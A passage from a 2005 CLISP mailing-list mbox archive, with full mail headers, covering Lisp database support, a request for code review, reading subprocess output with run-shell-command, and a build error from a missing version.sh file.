":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-99.8 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY,USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 4 12:46:10 2005 X-Original-Date: Mon, 4 Jul 2005 21:43:02 +0200 steve morin writes: > I have been looking, what support does lisp provide for connecting to > databases, like mysql. Web services like xml-rpc and can it meet the > needs of being multi threaded applications. I have been reading a lot > about lisp, and want to use it commerically but is the infrastructure > there? Does any one have any experience with matters like these that > could give me some advice? You seem to be asking a general Common Lisp question. Better ask it on news:comp.lang.lisp ; here, we're more concerned with a specific implementation of Common Lisp named clisp. You might check http://www.cliki.net/ too. pg (Postgresql) works well with clisp. I've not used other DB API yet, either with clisp or another implementation. -- __Pascal Bourguignon__ http://www.informatimago.com/ Until real software engineering is developed, the next best practice is to develop with a dynamic system that has extreme late binding in all aspects. The first system to really do this in an important way is Lisp. -- Alan Kay From kavenchuk@jenty.by Tue Jul 05 02:41:33 2005 Received: from [10.3.1.91] (helo=sc8-sf-mx1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dpjvp-00034J-0u for clisp-list@lists.sourceforge.net; Tue, 05 Jul 2005 02:41:33 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1-new.sourceforge.net with esmtp (Exim 4.44) id 1DpjvZ-00073R-QJ for clisp-list@lists.sourceforge.net; Tue, 05 Jul 2005 02:41:21 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id MCTA2X24; Tue, 5 Jul 2005 12:44:42 +0300 Message-ID: <42CA55FB.2040307@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Audit of a code Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 5 02:42:15 2005 X-Original-Date: Tue, 05 Jul 2005 12:42:19 +0300 Hi! I can request to see my code in this mail list? The ruthless criticism interests only :) Or with it in comp.lang.lisp? (Silence - a sign on refusal) Thanks. -- WBR, Yaroslav Kavenchuk. From amoroso@mclink.it Tue Jul 05 04:20:52 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DplTu-0007BC-LF for clisp-list@lists.sourceforge.net; Tue, 05 Jul 2005 04:20:50 -0700 Received: from mail5.mclink.it ([195.110.128.102]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DplTr-0007mk-V9 for clisp-list@lists.sourceforge.net; Tue, 05 Jul 2005 04:20:50 -0700 Received: from mc3483.mclink.it (net203-176-202.mclink.it [213.203.176.202]) by mail5.mclink.it (8.12.6p2/8.12.3) with ESMTP id j65BKiv7002178 for ; Tue, 5 Jul 2005 13:20:44 +0200 (CEST) (envelope-from amoroso@mclink.it) Received: (qmail 4569 invoked by uid 1000); 5 Jul 2005 11:26:57 -0000 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Audit of a code References: <42CA55FB.2040307@jenty.by> From: Paolo Amoroso Organization: Paolo Amoroso - Milano, ITALY In-Reply-To: <42CA55FB.2040307@jenty.by> (Yaroslav Kavenchuk's message of "Tue, 05 Jul 2005 12:42:19 +0300") Message-ID: <87ll4lh4se.fsf@plato.moon.paoloamoroso.it> User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 5 04:21:38 2005 X-Original-Date: Tue, 05 Jul 2005 13:26:57 +0200 Yaroslav Kavenchuk writes: > I can request to see my code in this mail list? The ruthless criticism > interests only :) > > Or with it in comp.lang.lisp? Comp.lang.lisp is more appropriate and has a wider audience. Paolo -- Lisp Propulsion Laboratory log - http://www.paoloamoroso.it/log From pjb@informatimago.com Tue Jul 05 04:23:14 2005 Received: from [10.3.1.92] (helo=sc8-sf-mx2-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DplWE-0007KW-5b for clisp-list@lists.sourceforge.net; Tue, 05 Jul 2005 04:23:14 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx2-new.sourceforge.net with esmtp (Exim 4.44) id 1DplWC-0006MT-K7 for clisp-list@lists.sourceforge.net; Tue, 05 Jul 2005 04:23:14 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 6FA3D5833D; Tue, 5 Jul 2005 13:22:58 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 7ECEC582FA; Tue, 5 Jul 2005 13:22:54 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 71D6310FBF3; Tue, 5 Jul 2005 13:22:54 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17098.28045.988490.728043@thalassa.informatimago.com> To: Yaroslav Kavenchuk Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Audit of a code In-Reply-To: <42CA55FB.2040307@jenty.by> References: <42CA55FB.2040307@jenty.by> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-99.8 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY,USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 5 04:25:13 2005 X-Original-Date: Tue, 5 Jul 2005 13:22:53 +0200 Yaroslav Kavenchuk writes: > I can request to see my code in this mail list? The ruthless criticism > interests only :) > > Or with it in comp.lang.lisp? Unless it's heavily clisp specific, you'd probably get a wider audience on comp.lang.lisp. (If it's big enough (eg. more than 500 lines), you'd better post the URL of the archive rather than include the whole source in your post.) -- __Pascal Bourguignon__ http://www.informatimago.com/ Small brave carnivores Kill pine cones and mosquitoes Fear vacuum cleaner From kavenchuk@jenty.by Tue Jul 05 06:01:29 2005 Received: from [10.3.1.92] (helo=sc8-sf-mx2-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dpn3H-0003D6-5y for clisp-list@lists.sourceforge.net; Tue, 05 Jul 2005 06:01:27 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2-new.sourceforge.net with esmtp (Exim 4.44) id 1Dpn3G-0006hF-Eb for clisp-list@lists.sourceforge.net; Tue, 05 Jul 2005 06:01:27 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id MCTA2XVD; Tue, 5 Jul 2005 16:04:42 +0300 Message-ID: <42CA84D9.90106@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] not understand Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 5 06:03:10 2005 X-Original-Date: Tue, 05 Jul 2005 16:02:17 +0300 clisp from CVS head, mingw step by step: CL-USER> (setq out-str (run-shell-command "cmd /c \"dir C:\\CL\"" :output :stream)) # CL-USER> (setf (STREAM-EXTERNAL-FORMAT out-str) custom:*terminal-encoding*) # CL-USER> (loop while (listen out-str) do (print (read-line out-str nil))) " Том в уÑтройÑтве C не имеет метки." " Серийный номер тома: 4C22-B660" "" " Содержимое папки C:\\CL" "" "08.04.2005 11:41 ." "08.04.2005 11:41 .." "16.06.2005 12:10 doc" "01.07.2005 15:52 lib" " 0 файлов 0 байт" " 4 папок 71,569,321,984 байт Ñвободно" NIL CL-USER> and one command: CL-USER> (let ((out-str (run-shell-command "dir C:\\CL" :output :stream))) (setf (STREAM-EXTERNAL-FORMAT out-str) custom:*terminal-encoding*) (loop while (listen out-str) do (print (read-line out-str nil)))) NIL CL-USER> Where a output? Thanks. -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Tue Jul 05 06:10:01 2005 Received: from [10.3.1.92] (helo=sc8-sf-mx2-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DpnBY-0003k1-Q7 for clisp-list@lists.sourceforge.net; Tue, 05 Jul 2005 06:10:00 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2-new.sourceforge.net with esmtp (Exim 4.44) id 1DpnBW-0007WC-VD for clisp-list@lists.sourceforge.net; Tue, 05 Jul 2005 06:10:00 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id MCTA2XVP; Tue, 5 Jul 2005 16:13:26 +0300 Message-ID: <42CA86D8.70103@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: pjb@informatimago.com CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Audit of a code References: <17098.28045.988490.728043@thalassa.informatimago.com> In-Reply-To: <17098.28045.988490.728043@thalassa.informatimago.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 5 06:11:22 2005 X-Original-Date: Tue, 05 Jul 2005 16:10:48 +0300 Pascal Bourguignon writes: >>I can request to see my code in this mail list? The ruthless criticism >>interests only :) >> >>Or with it in comp.lang.lisp? > > > Unless it's heavily clisp specific, you'd probably get a wider > audience on comp.lang.lisp. > > > > (If it's big enough (eg. more than 500 lines), you'd better post the > URL of the archive rather than include the whole source in your post.) It is really heavily clisp specific: FFI interface to Tcl/Tk. README: http://kavenchuk.at.tut.by/cltk/README source: http://kavenchuk.at.tut.by/cltk/cltk.lisp zip-archive of source and small examples: http://kavenchuk.at.tut.by/cltk/cltk.zip Thanks! I go to comp.lang.lisp :) -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Tue Jul 05 07:15:22 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DpoCo-00073v-BR for clisp-list@lists.sourceforge.net; Tue, 05 Jul 2005 07:15:22 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DpoCm-0006qL-Dx for clisp-list@lists.sourceforge.net; Tue, 05 Jul 2005 07:15:22 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j65EEPAf023927; Tue, 5 Jul 2005 10:14:28 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42CA84D9.90106@jenty.by> (Yaroslav Kavenchuk's message of "Tue, 05 Jul 2005 16:02:17 +0300") References: <42CA84D9.90106@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: not understand Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 5 07:17:14 2005 X-Original-Date: Tue, 05 Jul 2005 10:13:50 -0400 > * Yaroslav Kavenchuk [2005-07-05 16:02:17 +0300]: > > clisp from CVS head, mingw > > step by step: > > CL-USER> (setq out-str > (run-shell-command "cmd /c \"dir C:\\CL\"" :output :stream)) > # > CL-USER> (setf (STREAM-EXTERNAL-FORMAT out-str) custom:*terminal-encoding= *) > # > CL-USER> (loop while (listen out-str) do > (print (read-line out-str nil))) > > " =D0=A2=D0=BE=D0=BC =D0=B2 =D1=83=D1=81=D1=82=D1=80=D0=BE=D0=B9=D1=81=D1= =82=D0=B2=D0=B5 C =D0=BD=D0=B5 =D0=B8=D0=BC=D0=B5=D0=B5=D1=82 =D0=BC=D0=B5= =D1=82=D0=BA=D0=B8." > " =D0=A1=D0=B5=D1=80=D0=B8=D0=B9=D0=BD=D1=8B=D0=B9 =D0=BD=D0=BE=D0=BC=D0= =B5=D1=80 =D1=82=D0=BE=D0=BC=D0=B0: 4C22-B660" > "" > " =D0=A1=D0=BE=D0=B4=D0=B5=D1=80=D0=B6=D0=B8=D0=BC=D0=BE=D0=B5 =D0=BF=D0= =B0=D0=BF=D0=BA=D0=B8 C:\\CL" > "" > "08.04.2005 11:41 ." > "08.04.2005 11:41 .." > "16.06.2005 12:10 doc" > "01.07.2005 15:52 lib" > " 0 =D1=84=D0=B0=D0=B9=D0=BB=D0=BE=D0=B2 0 =D0= =B1=D0=B0=D0=B9=D1=82" > " 4 =D0=BF=D0=B0=D0=BF=D0=BE=D0=BA 71,569,321,984 =D0=B1= =D0=B0=D0=B9=D1=82 =D1=81=D0=B2=D0=BE=D0=B1=D0=BE=D0=B4=D0=BD=D0=BE" > NIL > CL-USER> > > and one command: > > CL-USER> (let ((out-str > (run-shell-command "dir C:\\CL" :output :stream))) > (setf (STREAM-EXTERNAL-FORMAT out-str) > custom:*terminal-encoding*) > (loop while (listen out-str) do > (print (read-line out-str nil)))) > NIL > CL-USER> > > Where a output? you reach LISTEN too fast - before any input arrives. try (let ((out-str (run-shell-command "dir C:\\CL" :output :stream))) (setf (STREAM-EXTERNAL-FORMAT out-str) custom:*terminal-encoding*) (print (read-line out-str nil)) (loop while (listen out-str) do (print (read-line out-str nil)))) Actually, LISTEN is not the right function to get all the output. (suppose the subprocess will stall: e.g., dir will wait for information about the network drive for a long time). You want to read until EOF, so just do this: (loop for s =3D (read-line out-str nil nil) while s do (print s)) --=20 Sam Steingold (http://www.podval.org/~sds) running w2k When you are arguing with an idiot, your opponent is doing the same. From kavenchuk@jenty.by Tue Jul 05 07:20:02 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DpoHJ-0007Mq-SV for clisp-list@lists.sourceforge.net; Tue, 05 Jul 2005 07:20:01 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DpoHI-0007I6-9v for clisp-list@lists.sourceforge.net; Tue, 05 Jul 2005 07:20:01 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id MCTA2XZR; Tue, 5 Jul 2005 17:23:23 +0300 Message-ID: <42CA974C.9060508@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: not understand Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 5 07:21:16 2005 X-Original-Date: Tue, 05 Jul 2005 17:21:00 +0300 Sam Steingold: > You want to read until EOF, so just do this: > > (loop for s = (read-line out-str nil nil) while s do (print s)) > MANY THANKS! -- WBR, Yaroslav Kavenchuk. From will@misconception.org.uk Wed Jul 06 06:55:48 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqANM-0005UV-UD for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 06:55:44 -0700 Received: from cmailm4.svr.pol.co.uk ([195.92.193.211]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DqANM-00036R-Dx for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 06:55:44 -0700 Received: from user-2293.l1.c3.dsl.pol.co.uk ([81.79.8.245] helo=[192.168.1.103]) by cmailm4.svr.pol.co.uk with esmtp (Exim 4.41) id 1DqANK-0003b8-EW for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 14:55:42 +0100 From: Will Newton To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.7.2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200507061451.14883.will@misconception.org.uk> X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Problem building 2.33.83 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 6 06:57:39 2005 X-Original-Date: Wed, 6 Jul 2005 14:51:14 +0100 I get this error when trying to build this snapshot on Linux: will@blackdog:~/src/clisp-2.33.83$ ./configure executing /home/will/src/clisp-2.33.83/src/configure --cache-file=config.cache configure: creating cache config.cache configure: line 1340: ./../version.sh: No such file or directory Is there some kind of Makefile.devel trickery that generates this file? From dancorkill@comcast.net Wed Jul 06 07:47:17 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqBBD-0000AY-98 for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 07:47:15 -0700 Received: from rwcrmhc11.comcast.net ([204.127.198.35]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DqBBB-0008NR-VC for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 07:47:15 -0700 Received: from [192.168.240.101] (c-24-60-189-44.hsd1.ma.comcast.net[24.60.189.44]) by comcast.net (rwcrmhc11) with ESMTP id <20050706144707013006jh0ke>; Wed, 6 Jul 2005 14:47:07 +0000 Message-ID: <42CBEEE4.2010806@comcast.net> From: Dan Corkill Reply-To: Dan Corkill User-Agent: Mozilla Thunderbird 1.0.2-6 (X11/20050513) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Will Newton CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problem building 2.33.83 References: <200507061451.14883.will@misconception.org.uk> In-Reply-To: <200507061451.14883.will@misconception.org.uk> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 6 07:49:34 2005 X-Original-Date: Wed, 06 Jul 2005 10:47:00 -0400 >I get this error when trying to build this snapshot on Linux: > >will@blackdog:~/src/clisp-2.33.83$ ./configure >executing /home/will/src/clisp-2.33.83/src/configure --cache-file=config.cache >configure: creating cache config.cache >configure: line 1340: ./../version.sh: No such file or directory > >Is there some kind of Makefile.devel trickery that generates this file? > > Will, I just ran a fresh CVS-based install on FC4/x86 without issue. The version.sh file (at the top level) was created by the CVS checkout and contained the following 3 lines: # Version number and release date. VERSION_NUMBER=2.33.83 RELEASE_DATE=2005-03-14 # in "date +%Y-%m-%d" format I followed the simple instructions: ./configure x86 cd x86 ./makemake --with-dynamic-ffi > Makefile make config.lisp make ... From will@misconception.org.uk Wed Jul 06 09:01:12 2005 Received: from [10.3.1.92] (helo=sc8-sf-mx2-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DqCKl-0003uJ-IU for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 09:01:11 -0700 Received: from cmailg2.svr.pol.co.uk ([195.92.195.172]) by sc8-sf-mx2-new.sourceforge.net with esmtp (Exim 4.44) id 1DqCKh-0007j4-Bh for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 09:01:11 -0700 Received: from user-2293.l1.c3.dsl.pol.co.uk ([81.79.8.245] helo=[192.168.1.103]) by cmailg2.svr.pol.co.uk with esmtp (Exim 4.41) id 1DqCKb-0005UP-JU for clisp-list@lists.sourceforge.net; Wed, 06 Jul 2005 17:01:01 +0100 From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problem building 2.33.83 User-Agent: KMail/1.7.2 References: <200507061451.14883.will@misconception.org.uk> <42CBEEE4.2010806@comcast.net> In-Reply-To: <42CBEEE4.2010806@comcast.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200507061700.56728.will@misconception.org.uk> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 6 09:03:46 2005 X-Original-Date: Wed, 6 Jul 2005 17:00:56 +0100 On Wednesday 06 July 2005 